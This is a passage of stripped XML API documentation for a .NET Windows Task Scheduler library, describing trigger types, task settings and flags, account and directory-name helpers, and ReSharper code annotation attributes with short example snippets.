Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the ITriggerDelay interface. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only available for reading custom + triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every other day, every + third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 + and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from the subscription query + specified in the Subscription property. The name of the query can be used as a variable in the message of a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all entries in the + property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are enumerated and any tasks + registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, then do not assign a + value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty LogonTrigger.UserId property and assign a value to the + principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the + value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 to 32 and bits are + numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits are considered to + number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only available for Task + Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + If you specify a repetition duration for a task, you must also specify the repetition interval. + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. Only available for + Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of the week every week or + every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + + + Gets the number of triggers in the collection. + + + + + Gets or sets a specified trigger from the collection. + + + The . + + The id () of the trigger to be retrieved. + + Specialized instance. + + + + + Mismatching Id for trigger and lookup. + + + + Gets a specified trigger from the collection. + + The index of the trigger to be retrieved. + Specialized instance. + + + + Add an unbound to the task. + + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + + Add a new trigger to the collections of triggers for the task. + + The type of trigger to create. + A instance of the specified type. + + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all triggers from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified trigger type is contained in this collection. + + Type of the trigger. + + true if the specified trigger type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an , starting at a particular index. + + The one-dimensional that is the destination of the elements copied from . The must have zero-based indexing. + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + + The for this collection. + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the trigger to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an trigger at the specified index. + + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the trigger at a specified index. + + Index of trigger to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the triggers in this collection. + + + A that represents the triggers in this collection. + + + + + Releases all resources used by this class. + + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + 